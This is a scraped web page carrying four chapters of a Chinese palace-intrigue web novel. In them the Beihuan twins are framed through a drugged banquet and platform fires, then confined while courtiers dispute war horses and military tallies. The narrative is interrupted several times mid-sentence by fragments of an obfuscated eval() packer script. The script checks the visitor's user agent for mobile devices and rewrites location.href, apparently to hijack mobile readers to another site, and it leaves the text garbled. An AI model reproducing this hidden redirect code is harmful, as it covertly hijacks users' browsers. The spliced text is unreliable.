l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340426|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果宫里出了什么事,一定会有消息送出来。不管是景叔、秋叔、还是小舞。总有一条消息是通的。现在已经过了子时,我还没接到消息……” 北寰言顿了顿,抬眸望天:“眼下我们只能做最坏的打算。” “最坏的打算?”流云疑惑地问。 “嗯,”北寰言道,“能封控住宫里消息的人只有陛下。是陛下不想让宫里的消息送出来让我知道。” “陛下为什么会封住宫里的消息?”流云继续问。 “大约是……”北寰言眼眸里有潋滟的光,“不信任了罢。” 自从上次黑市在西境压丢了一大批硝石,陛下与安王府之间有了一丝不易察觉的裂痕。 北寰言虽然不知道今晚宫里发生了什么,但一定是有人使了计谋,又一次挑拨了陛下与安王府的关系。 对方用的全都是瞒天过海的计中计,让人防不胜防。 “你们先去休息罢。”北寰言转头看向流云流风,“让我自己一个人呆会儿。” 流云流风面面相觑,不知道应不应该走。 北寰言轻声道:“从今日往后,全都是恶战。你们要养足精神,打起十二分的精神来。过了今夜不知道还有没有整觉睡。能休息的时候,还是尽量多休息,这样才有精力应对下面要发生的事。” 谋略的事情流云流风帮不上忙,但体力上的事,若是用的到他们,他们一定义不容辞。 北寰言让他们去休息,那便是有打算。 流云流风虽然跟着北寰言的时间不长,但是他们都知道这小主子走一步看一百步,说的每一句话都不是白说的,当即抱拳告退,各自休息。 北寰言深吸一口气,仰起头,缓缓闭上了眼睛,努力压住内心的躁动—— 对方花了十六年布置的棋盘其实棋子已经用得差不多了。 最先被抛出来的是南方。 南泽王族因为南雪的野心落得削藩的下场,这个曾经与东陵帝国王族比肩的势力顷刻间土崩瓦解。 一山不容二虎,南泽王族的覆灭是意料之中。 南泽案子中唯一不见的是如玉从南雪手中偷出来的南泽旧部的名单。 现在看来那个名单多半是在纵尚手里。 纵尚有那个名单,就可以威逼利诱那些人在恰当的时机在南方引起骚动。 南方威胁尚在。 这个案子把时家这个百年修建皇墓、精通奇门遁甲的家族牵扯进来。 …… 然后被抛出来的就是江南漕运沉船案。 这个案子的目的有很多,从安王府的手上拿走那些数额巨大的硝石是目的之一,但其目的还是为了让纵尚平步青云升到工部左侍郎这个位置,从而一手促成修建招灵台这件事。 那些数量庞大的硝石,可以制造大量的火药,成为西域诸国攻打西境的资源。 …… 紧接着就是西境勤王府世子妃的身世。 这步棋他们想要收拢西境兵权,让西境勤王府为他们所用,让西境与西域诸国一起向东起兵。 …… 最后北境乌族三王子漠勒来求娶东陵公主。 244. 辩解 对方的目的可能是借用乌族势力,给东陵北境边境线施压。 毕竟在这个这个时间点上乌族与东陵开战,会让出使东陵的三王子变成人质。这不难懂,即便是乌族那种政治头脑尚未开化的民族,也可以想到这个借刀杀人的举措。 现在的情况是,南境、西境、北境三境皆有兵变或者突发战事的可能。 这是对外。 对内,便是那个对方无论如何也要在许都城内修建的五座招灵台。 招灵台是陛下为了祭奠那些在南泽王谋反案中,修建南境五州地下神道死去漕工的英灵。 这是陛下为了安抚民心必须要做的事。 不仅要做,还要认真仔细地做给天下民众看。 这招灵台记到史册里,就是陛下执政的一道爱民的功绩。招灵台的建立不仅可以弱化南泽谋反案中朝廷的失察,还可以颂陛下治世仁爱之心。 从表面来看,这招灵台建的没有任何问题…… 但,这招灵台的建造是人为促成的。 所以,这件事一定没有表面上看到的那么简单。 对方有关于招灵台漏出来的消息太少,少到北寰言根本就无从猜起对方执意要建招灵台的目的。 北寰言很在意招灵台的修建。 年初他去西境了解勤王府的事,前段时间忙着给陛下贺寿,精力都放在保护勤王府世子这件事上。 他一直都没时间去亲眼看看修在许都都城内四个角用来祭奠的招灵台。 宫里的消息被陛下切断。 北寰舞相当于作为人质被压在了宫里。 北寰言很沉静,深吸一口气之后甚至连最后一点焦灼都从来脸上消失了。 他细细回顾了对方布局,总觉得应该把那些他忽略的东西重新找回来。 招灵台。 他应该去看看! 北寰言倏地睁开眼,折身往后院马厩去。 流云流风去休息了,守着北寰言的就是卫昭。 卫昭远远地看见北寰言往后院去,他也立即跟着北寰言一起往后院去。 北寰言到马厩牵出马,翻身上马,扬鞭策马而出。 顷刻间,寂静的小巷里回荡着两匹马的马蹄声。 许都没有宵禁,可现在已经四更天,街上到处都有禁军巡防。 这些巡防的禁军远远地就听见有马蹄的声音,警觉地回身去找。但看一个碧衣少年策马在许都大街上奔袭,立即就认出那人模样。 是大理寺少卿北寰言。 他若是夜晚如此奔袭一定是有大案要查。 巡防的禁军立即靠边,给北寰言让出一条道来。 很快北寰言就到了离临府最近的西面招灵台。 北寰言远远地便勒住马缰。 重重叠叠的楼宇中拔地而起一个宽大的平台,他没想到这招灵台竟然建得如此庞大! 地基打得堪比扩建后的临府。即便是隔着几道巷子依然能借助工地上的微微火光看见那招灵台在黑夜里那望不到头的墙体。 他深吸一口气,驱马往招灵台下奔去。 他驱马绕着招灵台跑了一圈。看见招灵台附近工地上还存放着许多材料,大部分都是木头与石料。 北寰言亲自来查看招灵台就是想从中查找到一些与众不同的地方。可他绕着招灵台走了一圈发觉这就是一个很普通的工部施工现场,所有的事情都井然有序。 没有任何可疑的地方。 北寰言坐在马上,蹙眉盯着这个招灵台许久都没动。他表情凝重,好似有什么东西是他想不明白的。 卫昭跟在后面看着北寰言一动不动许久,终于忍不住想要出口询问时北寰言忽然打马,往南面的招灵台去。 每到一处招灵台,北寰言都要认真地查看。 晨钟在许都上空回响,天际出现一层红雾,黎明来临的时候,北寰言才看完四座招灵台。 他看了四座还在修建的招灵台也没察觉出什么不对劲的地方。 “主子。”卫昭驱马到北寰言身边,“天亮了,今日还去大理寺点卯吗?” 北寰言刚要说话,就看见一队巡防的禁军小跑过来找他。 “言少卿!” 北寰言调转马头,看向那人。 禁军小队队长大口喘了几口气,道:“言少卿快去看看,您刚才看过的招灵台都走水了!” 北寰言眼眸微睁,立即驱马往临府最近的招灵台去。 * 刚过早朝没多久,老内官徐迎便来画雨轩请北寰舞去御书房。 徐迎还重点交代一定要带郭公子一起去。 北寰舞穿好衣裳,到屋外等时均白。 时均白从里面出来,看了看北寰舞,又看了看跟着徐迎一众脸生的内官,眉心不由得往下沉了沉。 他颔首稍稍错北寰舞半步,跟着北寰舞一起往御书房去。 他在北寰舞身后小声问:“出什么事了?” 北寰舞轻轻摇头,她也不知道出了什么事。 两人一起进了御书房,却看见里面还站着一个人。 那人听见来人,回头看向御书房门外。 北寰舞与时均白皆是一愣。 郭学林看见时均白的易容时,也是一愣,但很快他就想明白了原委。 时均白知道自己易容的事瞒不住,便撕下脸上的易容,老老实实地走到御前跪下:“草民拜见陛下。” 许景挚望着时均白,眼神阴沉。 北寰舞不敢说话。 时均白这是犯了欺君之罪。 她根本就没想到时均白替郭学林来竟然没跟郭学林先通个气。 郭学林也没想到自己在家里睡了一晚上宫里竟然生出这么大的变故,他以为是祖父不想让他去参加宴席,在他的茶水里下了嗜睡的药。 他虽然有些不解,但还是一早便照常入翰林院点卯。 只是他没想到的是让他睡了一晚上的不是祖父使了手段,而是时均白给他下了药。 这世间所有的巧合能成,除了谋算之外都需要一点点的运气。 对方这一局,真的是运气太好了。 必须说点什么才能破解这危局。 北寰舞正思索要如何说才能解除危机,却看见老内官徐迎进来,颤颤巍巍躬身一礼:“陛下,老奴去验过昨晚郡主与三王子酒席上的酒……” 徐迎看了一眼北寰舞,继续道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362546|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有任何异常。” 北寰舞心里咯噔一下,原来问题出在这里! 原来对方埋了一手棋,在这里等着她! 只要昨天晚上那场宴席上,漠勒没有下药给她,那场闹剧就是她北寰舞故意为之。 为的就是要以自身清白诬陷漠勒,让朝廷与乌族不合从而推动北伐之事! 来参加宴席的人是时均白,不是郭学林,说明北寰舞一方早就有预谋。 昨晚凌信又擅离职守,宫内的招灵台木材库走水,使得原本准备好的祭祀大典要往后推。 祭祀大典是彰显帝君仁慈的大事,竟然就这样被破坏…… 许景挚暴躁而起,扬手就把手上的茶盏碎在地上。 陶瓷碎片四处迸裂。 龙颜大怒。 殿内所有的人都齐齐跪下,只有北寰舞一身傲骨站在殿下与许景挚对视。 黑市在西境丢了能做火药的大量硝石,许景挚原本没多做他想。但这事一出,他就必须对安王府与勤王府心怀警惕。 现在北寰舞又借助自己婚事想要挑起东陵与乌族之间的仇恨…… 时均白这风隼的图纸送得好啊。 简直就是为了促进北伐之事,特地赶着送过来的一样。 北寰洛。 北寰府仅存的后人。 不管过了多少年,她都执意要完成父亲遗愿。 她从来都是这样一个为达目的不择手段的人,她心狠地连自己都可以算计。在浅州城的时候他就知道她是这样一个人。 只是让他没想到的是,她竟然利用自己女儿清白,利用他对她的深情,也要完成北伐之事。 原来,十四年前他心怀愧疚登上暮云峰,向安王府那两个人提出送北寰双子入许都学习的事,北寰洛想也不想就一口应下,为的就是十四年后布的这一手棋局。 南有泽水暮,公子季凉处。边疆战乱无渡,一计锦囊覆。 公子季凉,北寰洛。 许景挚忽然大笑起来。 这样一个手眼通天的人,竟然在他的面前耍这种小把戏,这要他如何忍得下去?! “陛下……” 门外又有人拜见。 许景挚扬声让那人进来,来人是禁军统领陈松。 陈松进来看见北寰舞站着,郭学林、时均白皆跪在地上,满书房伺候的内官宫女也跪倒在地,当即觉得不妙。 “何事?!”许景挚冷声问道。 “……”陈松蹙眉,只能硬着头皮抱拳回道,“宫外的四处招灵台走水了。” 北寰舞瞳孔微缩,手缓缓锁紧。 “拿住人了?”许景挚想都不想都知道这是有人刻意为之。 陈松不知道应该怎么回答,只道:“只有一个可疑的人。” “谁?”许景挚已经压住了心中怒火。 陈松看向北寰舞,垂眸道:“昨晚深夜,只有言少卿骑马去看过宫外那四处招灵台……街上巡查禁军皆看到过。” “陛下这事不符合常理!哥哥他……” 这事涉及到北寰言,北寰舞撩起裙摆跪下,想要替哥哥说些什么。 “你闭嘴!”许景挚一声喝断北寰舞的话。 245. 眼睛 “御史台张蘅有急事要面呈陛下。” 北寰舞还要说什么,话还没说出口,便又听见外面有人觐见。 许景挚都快气笑了,真是什么事都能凑到一起。 “进来回话!”许景挚回身坐下。 只见御史台的张蘅进来,手拿奏折。 御史台的人这个时间点过来,恐怕不是巧合。 那人手捧奏折,进来躬身一礼道:“御史台才接到的匿名举报,说是安王府北境草场送了三千战马给西境节度使姚元武。” “不是!”北寰舞跪直了身子,“怎么能是战马?!我们送去的明明是种马!” 张蘅见北寰舞也在,当即道:“郡主也承认安王府确实送了马给西境节度使姚将军了?” “……” 北寰舞闭上了嘴。 现在的局势对他们来说太不利。 御史台的人向来牙尖嘴利,这种情况下多说便是多错。 御书房内静得可怕。 许景挚坐在龙椅上,手撑着脸庞,从指缝中漏出一丝带着寒光的眸子,静静地望着下面跪着的人一言不发。 时均白侧目看见北寰舞微微发白的脸庞,以及她控制不住的颤抖,便把手伸过去,轻轻地握住了她的手。 北寰舞眼眸微红地回望时均白。 时均白轻笑,用唇语告诉她:别怕,上黄泉下碧落,都有我陪着你。 北寰舞再也忍不住,掉下了眼泪。 这个笨蛋。 江南漕运的案子,他们竭尽全力才把时家从局里摘出去。 他明明知道她跟他分手是被局势所逼,迫不得已。 他明明知道安王府是众矢之的。 他明明知道自己和亲只是一种政治手段。 他明明知道…… 北寰舞想不下去了,时均白明明什么都知道,却还是义无反顾地跳了进来紧紧地拉住了她。 就跟那日他们分手时候一样,他满眼都是爱她的赤诚。 笨蛋,傻瓜,二愣子! 这个人、这个人怎么这么蠢啊! 北寰舞曾经特别厌恶郭学林那种摆在明面上的算计,但现在她特别希望时均白也是这样一个明哲保身的人。 “长乐郡主、凌信暂压画雨轩。”许景挚缓缓出声,“大理寺少卿北寰言圈禁太傅府,非召不得出府半步。” 北寰舞抬眸看向许景挚,只见他目光幽深地望着时均白:“时均白圈禁崂山,将功折罪。” 许景挚站起身,往御书房后殿去:“等一切事情查明,孤自会还你们公道。” 许景挚走了,跟着他伺候的一众人也跟着起身往后殿去。 安王府,还有一切与安王府有关的人都被圈禁。 郭学林缓缓起身,眉宇紧蹙地看向北寰舞,想要说些什么。 北寰舞也看向他,轻轻地摇头,让他不要再跟他们有瓜葛。 她缓缓站起身,时均白也跟着站了起来。 两人皆是郑重地向着郭学林一礼,便转身离去。 郭学林心中剧痛,可他不敢表现出来,只能摇摇晃晃地起身,捂着心口,扶门而出。 在看见天光的那一瞬,他一头栽倒在地。 * 许景挚禁足的口谕很快就到了太傅府。 传旨的是徐迎。 临允与北寰言一起躬身领旨。 待徐迎走后,临允担忧地问北寰言:“这次的事严重吗?” 北寰言抿唇,点了点头。 临允长叹一声。 北寰言朝着临允一礼:“太傅回去休息罢。这事您多思无益。” 临允知道北寰言说的是实话。 他怜惜地摸了摸北寰言的头,低声道:“我是见过大风大浪的人,这种事也跟着你父亲经历过第一次,倒也不觉得奇怪了。只是凌芷还小,凌信被圈禁在宫里,你多看着她点。” “是。”北寰言颔首。 临允负手离开。 北寰言身后传来一个弱弱的声音:“言哥哥……哥哥他是不是以后都回不来了?” 北寰言回身,看见凌芷就站在他身后。 想来方才徐迎来宣读口谕的时候,她就在附近藏着。 凌信被圈禁的事,她已经听到了。 北寰言伸手,让凌芷过来。 可凌芷眼睛通红,死死地抓着衣角,一步也不肯动。 北寰言只好走过去,低头看着凌芷,温声道:“言哥哥陪你。” 凌芷见北寰言没正面回答她的话,再也绷不住,“哇”地一下就哭了出来。 她嚷嚷着:“哥哥是不是回不来了?舞姐姐进宫去了也没回来。他们是不是都回不来了!?” 北寰言揽过凌芷,把她狠狠地搂在怀里,低头在她耳边,艰难回道:“我陪着你。” “言哥哥骗人!言哥哥你骗人!”凌芷哭得伤心,“你明明说过,你拥有保护自己心爱的人的能力。哥哥跟舞姐姐进宫去都没回来,连你也被禁足在府上出不去。言哥哥骗人,我再也不信你了!” 凌芷从北寰言怀里挣出来,推了他一把,就跑了。 北寰言没站稳,被凌芷推倒在地。 凌芷的哭声在整个临府回荡。 北寰言没起来,而是就地盘起腿,把脸埋在了手心里,一动不动。 流云流风在一边看着,不敢出声。 * 许景挚从御书房出来,直直去后宫咸宁殿。 萧皇后诚惶诚恐地迎接。 许景挚没进殿阁,只是在花园里摸着已经落败的月季,道:“孤不管你这次撮合漠勒与北寰舞目的为何,但你终究动了不该动的心思。” 萧皇后当即跪下,身后所有的女官也跟着跪了一地。 “孤能许你皇后之位,也能废了你的皇后之位。”许景挚折了一只月季,捏在手里,转身看向萧皇后,“安王府不是你能动的,你若不想死得难看,这段时间就在宫里思过,哪都别去了。” 萧皇后不敢抬头看许景挚,只看他龙靴从她眼前踱过,留下一地残花。 * 临近傍晚,郭学林才悠悠转醒。 他望着花雕大床纱帐好一会儿,才回过神,发觉自己回家了。 他坐起身,身边伺候的侍女看见小主子醒了,立即派人通报老爷。 郭睿明带着郭夫人一起匆匆赶来,却看见郭学林面无血色地坐在回廊上,痴痴地不知望着何处。 郭夫人哪里见过这样的郭学林——人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375892|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称如玉公子的郭学林,披头散发,赤脚素衣坐在木栏上,像是疯魔了一样。 郭夫人心疼却不知该如何安慰郭学林。 郭睿明看不下去,两步上前,一把拉过郭学林,把他带到屋里,合上了门。 郭学林进屋便随便找了个椅子,蹲坐在上面。 连个坐的样子都没有了。 郭睿明深吸一口气,厉喝道:“你看看你现在像什么样子!” 郭学林不想听,抬起胳膊捂住双耳。 郭睿明没好气地翻了个白眼,稳了稳气息,道:“这事明眼人都看出来事有蹊跷,陛下那么聪明,你以为陛下看不出来?!” 郭学林眉宇微蹙。 郭睿明继续道:“以前我总是让你不要掺和北寰言的事,你真当我只是想利用安王府,让你得到陛下的青睐?!” “不是吗?” 郭学林活了十八年,头一次跟祖父顶嘴。 郭睿明心下一松,还好,这孩子还知道顶嘴,理智尚在,还没得失心疯。 “这事你不是早早就看明白了,怎么事到如今还需要我来跟你点明?!”郭睿明恨不得把郭学林打醒。 郭学林放下胳膊,不再抗拒听郭睿明说话。 “你以为北寰言为什么要你在陛下寿辰期间请旨去督查江南漕运整改?!”郭睿明叹了一口气。 为什么呢? 郭学林神思开始逐渐回归身体。 “那是北寰言为了保你找的说辞!”郭睿明一声厉喝,郭学林的眼眸里有了光,“你一直都说北寰言聪明,一直说你是北寰言最后的手段!你既是北寰言留下的后手,他怎么可能在安王府被全部圈禁的时候,把你拉下水?!” 郭睿明上前狠狠地点了郭学林额头一下:“勤王府世子来的时候你没在许都,西境的事与你毫无瓜葛。三王子漠勒与郡主宴席,你又没进宫去,所以这些事都跟你也没关系。不然今日你怎么可能在北寰言、北寰舞、凌信、时均白一干人等被圈禁之后独善其身?!” 郭学林忽然明白了,跳起来抓住郭睿明的胳膊:“祖父,你是说,阿言是故意让我从这件事剥离出来,成为他们在外的一双眼睛?!他想让我来找到这一切的答案?!” 郭睿明松了一口气,继续道:“如果对方目的只是为了让与安王府有关的人都死无葬身之地,只是目前这些模棱两可的事情还不足以撼动安王府的根基。 “那北寰双子的父母是谁?!是许安归与北寰洛! “当年的安归手握三十万北境军,北寰洛又是当年名震天下的‘公子季凉’,凭一己之力拖住了东陵军队外扩脚步!安王与安王妃虽然现在远离朝堂可这不代表他们好欺负! “他是身在许都,凭一己之力斗垮当年如日中天的永承太子,斗垮了我们最大的政敌解家,收复朝廷六部的那两个人之后! “青出于蓝而胜于蓝,北寰言的手段与品性比他父母有过之而无不及! “陛下即便是要拿捏安王府,也要有真凭实据,最少也要过大审才能定罪。” “是了!”郭学林激动道,“要把安王府彻底铲除,对方一定需要别的事作为助力!” 别的事…… 郭学林眼前一亮,他好像摸到一点头绪。 246. 战事 郭睿明见郭学林逐渐鲜活起来便放下心,找了个椅子坐下,缓一口气。 “祖父,”郭学林转身看向郭睿明,“我需要知道宫里的全部情况。阿言他们被圈禁,在宫里一定发生了什么事!我要先知道全部的细节,才知道这事应该从哪里查起!” 郭睿明点头,既然郭学林要纵观整盘棋局,就需要事无巨细的全部知晓。 徐迎接替景雀成为陛下身边主事的大内官把控内廷,陛下身边的亲卫江湖江海暂时接管了御林军与禁军统领职位,宫里的消息已经全部封锁。 宫里宫外的招灵台接二连三的走水。 不是宫里内官有问题,就是负责宫里巡防御林军、宫外巡防的禁军有问题。 陛下让自己身边的人接手,是为了彻查招灵台走水这件事。 事情怎么查的,如何查的,宫外的消息好知道,宫内的消息则需要人往外传。 郭睿明还真有一个可靠的人选。 他拿手指沾了茶水,在桌上写下一个人的名字。 郭学林看去,这是一个陌生的名字,但看这名字,像宫里女官的名字。 “桃红?”郭学林念出声。 郭睿明道:“她的祖母是宫里的老嬷嬷,聪明至极。早些年来教导你小姑姑与我们郭家有过一段交情。这人有野心,我一早就知道。 “当年她与郭府施恩,为的就是想要日后我郭府助她孙女在后宫平步青云。 “那个叫桃红的小丫头一看就很聪明。这丫头在后宫之后潜伏这么些年都没显山露水,也没在任何主子面前讨巧,可见是个懂得韬光养晦的。现在郭家主动找她送去攀云梯,她求之不得。” “祖父,我要如何联系的上这宫女?”郭学林道。 “我自有办法。”郭睿明让郭学林别操心这事了,“明日你一定要去上朝。要动安王府不容易,必须证据确凿才能启动三司会审。对方一定还有杀招放在朝堂上。” “是,”郭学林点头,“我知道。” 郭睿明道:“我始终觉得对方没有那么大的本事颠覆国本,但万事总得小心。今日安王府有难,凭北寰言之聪慧,原本可以拖你、拖整个郭府下水,威胁我让我来替你们想办法。可他没这么做,反而让你离得远远的,可见是个心地善良的孩子。北寰言是个堂堂正正的君子,但你也不能让他抢了你的风头。你有整个郭府为后盾,这一局,你若解了,那便是有功与朝廷,功在千秋。北寰言是你的对手,却不是我们的敌人。” 郭学林狠狠地点头。 郭睿明嗤笑——那个曾经坐在暮云峰上翻手为云覆手为雨的季公子,把自己的儿子教得很好。 人心所向,才是正道。 北寰言已经得到了西境勤王府的信任还有郭府的帮助。 他虽然被圈禁,却还是能够利用人心,让他们为他奔波。 北寰言难道就不怕郭府这个时候明哲保身,对他的事不管不顾? 真不知道应该夸他聪明,还是应该说他单纯。 北寰言这样坦诚对待郭学林,事事为郭学林着想,为郭府着想,反倒让他这个半生都在算计中度过的老狐狸心生愧疚。 要么一战成名,扬名立万。 要么万城枯骨,葬于雪尔。 北寰言抱着这样的觉悟做事,郭府只有也抱着这样的决心,才能拯救他与水火吧? 郭睿明起身,狠狠地揉了揉郭学林的头。 春风妒少年啊! 这才是这些少年人应该有的风姿。 “按照自己心愿去做罢,”郭睿明捏了捏郭学林的肩膀,“万事有祖父给你兜底。” “是!” 郭学林重振旗鼓。 * 第二日清晨,郭学林立即梳洗换上朝服,跟着祖父一起去上朝。 路过已经停工的招灵台,郭学林撩起车帘,看着那台子若有所思。 郭睿明也看向那招灵台,道:“北寰言是因为纵火嫌疑,暂被圈禁在临府。” 郭学林点头,放下车帘:“其实这事最大的问题也是这个。这事如果是阿言做的,其目的非常简单就是想破坏对方推进事情的进度。但如果这事不是阿言做的,那就是对方想利用这件事达成某种不可告人的目的。” 北寰言被圈禁在府里,消息送不出来。 所以烧招灵台到底是谁的主意,他不得而知。 “稍安勿躁,”郭睿明道,“宫里的事我们还不能全部知晓,对方一定还有其他的动作。我们等着看便是。” 郭学林静下心来,闭上眼,准备从头开始捋这所有的事情。 他希望自己能从这错综复杂的事情里,找到一个突破口。 * 早朝许景挚明显情绪不高。 他恹恹地靠在龙椅上,听着下面六部人回事。 工部说招灵台走水,木材烧毁了不少,需要重新征调木材,大约需要三、四个月的时间。这样一来,招灵台就要到年末的时候才能建好。祭祀大典,恐是要推后。 尚书令宋谏看向礼部。 礼部尚书刘新上前一步道:“祭祀推迟也可,钦天监看过,正月初一也是吉时。” 工部与礼部说完,看向许景挚。 许景挚不言,算是默许。 兵部尚书江狄上前一步道:“北境与西境边境线回来的战报,两境皆有重兵囤积的迹象,北境军与西境军向兵部申请出战兵符。” 郭学林蹙眉:北境与西境竟然同时申请出战兵符?! 兵部刚说完,御史台就跳出来:“御史台才接到举报,说西境军接收了安王府养在北境马场的三千战马。这事不查清楚如何能签发兵符?!” 江狄立即解释道:“这事安王府在兵部有报备,说是送给西境军三千种马用于繁殖新战马。御史台是从哪里听来的消息?” 御史台道:“既然有人举报,就应该派人去核查。北境、西境边境线到底是否真的有重兵囤积还是有人无中生有、狼子野心另有所图!” 江狄见御史台胡搅蛮缠,当即也甩了脸子:“你们御史台才是不要无中生有!前方战事瞬息万变,若是前方将领没有调兵兵符,如何发兵迎战!尤其是西境军,若是不出门迎战,就是等死!二十年前的浩天一战,你们御史台没人知晓吗?!” 御史台也不依不饶道:“现在有人企图动摇国之根本,这事不查清楚,如何能批兵符?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388865|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “动摇国本!什么叫做动摇国本?边境将领们吃雪喝沙守卫国土,怎么到你们这些人嘴里就是无中生有、狼子野心?!”江狄厉声道,“御史台说话不要证据只凭揣测就能办事?!” 眼看兵部跟御史台就要吵起来,尚书令宋谏立即温声道:“江尚书,御史台有纠察百官之责。他们接到举报自然需要时间核实,我们就事论事,想办法解决,不要伤了和气。” 江狄深吸一口气,狠狠地瞪了御史台一眼。 宋谏转向御史台道:“御史台可不能仅凭一封举报就阻止兵部战事。” 御史台道:“兵部说北境边境线有重兵屯集,可乌族三王子漠勒才来给陛下贺寿还没走,乌族怎么可能不顾自己王子死活,要攻打东陵北境?!” 江狄冷笑:“这有什么不可能的。三王子若是与东陵交好,才会成为乌族二王子的敌人。乌族狼子野心,也不是今日才有。十九年前岩州之战,乌族兵临城下,诸位忘记了?!” 昨天晚上后宫宴席发生了什么事,前朝无法得知。 但只看前朝发生的事,这兵符确实发不了。 如果安王府从北境草场送了三千战马给西境军,这涉及到两境边境线的事。北境节度使陈平与西境节度使姚元武都脱不开干系。 郭学林在一边垂眸听着,一边暗自思忖—— 这封送三千种马给西境军的家书北寰言给他看过。 从眼下的情形来看,这一举措简直是送了一个巨大的把柄给对方,让安王府陷入被动。 郭学林真的想不明白为什么安王府会在这个节骨眼上送出这么大一个破绽。 朝堂那边御史台不肯落下风,当即道:“臣恳请陛下召回北境节度使陈平回来述职,御史台请旨派人去西境暗查。” “准奏。”许景挚眼眸微低,心思深沉。 郭学林看了一眼坐在王位上的许景挚,心思转得飞快—— 有“朝东门”事件在前,军门不敢如此明目张胆的勾结。更何况北境节度使陈平是从许都出去的将领,与西境向来没关系。 昨天晚上宫里到底发生了什么事? 下朝以后,郭学林回翰林院拟旨。 退班后他急急回府去郭睿明书房,郭睿明早早就把桃红递出来的信看了一遍。 郭学林看了信以后才知道他没进宫的那晚发生了什么。 时均白替他进宫参加宴席,喝了宴席上的酒,酒被三王子漠勒下了催情的药。三王子漠勒其实是想要郡主喝这酒,逼郡主就范,促成和亲的事。 这是北寰舞那边的说辞。 而漠勒那边的说辞是北寰舞诬陷他,其目的就是为了挑拨乌族与东陵的关系。 最后是徐迎去查了宴席上的酒,酒里没验出催情的药。 与此同时,宫里的招灵台也走水了,少了木材库。 当夜在宫里御林军值守的是凌信。凌信擅离职守,被罚了十杖军棍,现在在画雨轩养伤。 后面的事,郭学林都知道了。 北寰双子被圈禁,凌信被压在宫里,时均白发去崂山。 郭学林看完这封信便放在蜡烛上烧了。 “你怎么看?”郭睿明问。 247. 宁静 郭学林道:“肯定有一方在说谎。就目前形势来看,安王府处于劣势,不会有人刻意撒谎就是为了让自己处于如此被动的局面。所以我想这事应该是有人从中作梗,设计了安王府一众。” “嗯。”郭睿明也表示赞同。 “我其实有一点不太明白。”郭学林负手踱了几步,“安王府为什么要在这个时间点送西境军三千匹马。不管这马,是种马还是战马,都会落人口实。我觉得安王殿下不会做这么蠢的事。” 确实。 郭睿明也不觉得许安归会做搬起石头砸自己脚的事。 “祖父,你了解阿言的父母吗?”郭学林转头看向郭睿明。 郭睿明沉思片刻回道:“他母亲聪明绝顶,他父亲不仅聪明,还很擅长兵法,武功奇高。” “聪明的人做事,一定有他的道理。”郭学林沉吟,不再说话。 现在破局关键是要参透安王府为何无缘无故送西境三千匹马,还要参透对方故意烧了招灵台材料目的为何。 如果这件事是双方博弈的杀招。 总该有一条线索,把这些事情穿在一起。 郭学林还没找到那个能把这些线索串在一起的“绳索。” * 藏息阁也收到了消息,知道北寰双子现在皆被圈禁。 寒期起坐在水榭里,趴在围栏上,给池子的鱼丢鱼食。 藏息阁另一个管事方平急急找过来,看见寒期起还在给鱼喂吃的,不由得心生怒意。 “都什么时候了,你还坐得住?!”方平一把拉过寒期起,把他手上的鱼食全部打到池塘里。 “哎哎哎哎!你怎么能把我鱼食全都丢到池塘里!鱼会撑死的!”寒期起伸手捞了一把,只捞起半盒。 “两个小主子一个被圈禁在府里一个在宫里,凌信也在宫里出不来,时公子被压去了崂山。宫里的消息我们一点都打听不到,今日早朝御史台参了安王府一本,说殿下给西境节度使送去了三千战马!”方平越说越急,“你怎么还不想法子帮小主子们脱困!” 寒期起看着方平一脸焦灼,忍不住笑出声来:“你啊。” 方平一脸不悦。 “还是太年轻!”寒期起指了指方平,拉他过来一起坐,“这事有你说的那么紧急吗?” “怎么没有!”方平说着便又要站起来,“陛下何曾如此对过两个小主子!” 寒期起眯着眼,他从来没见方平如此慌神,不由得哈哈大笑起来。 方平不理他,起身要走。 寒期起放下食盒跟着方平一起起来,跟在他身后嬉笑道:“你也不想想,那三千匹马是谁的手笔?” 方平白了他一眼:“北境马场,自然是殿下首肯的。” 寒期起道:“殿下不参朝政许久,这事肯定不是殿下的主意。” “不是殿下主意,也是王妃的主意……” 方平倏然停住脚步,寒期起差点撞上方平。 寒期起避开方平,绕到前方,笑眯眯地望着方平:“想明白了吗?” 方平虽然没想明白王妃的用意,但是他跟着北寰洛这么多年,知道她的处事风格。 寒期起指了指池塘里挣着鱼食的那些鱼儿:“那是‘鱼饵’啊。不撒这么大一把鱼饵,鱼儿怎么欢腾?” 放长线钓大鱼。 这三千匹马,就是北寰洛钓鱼的饵。 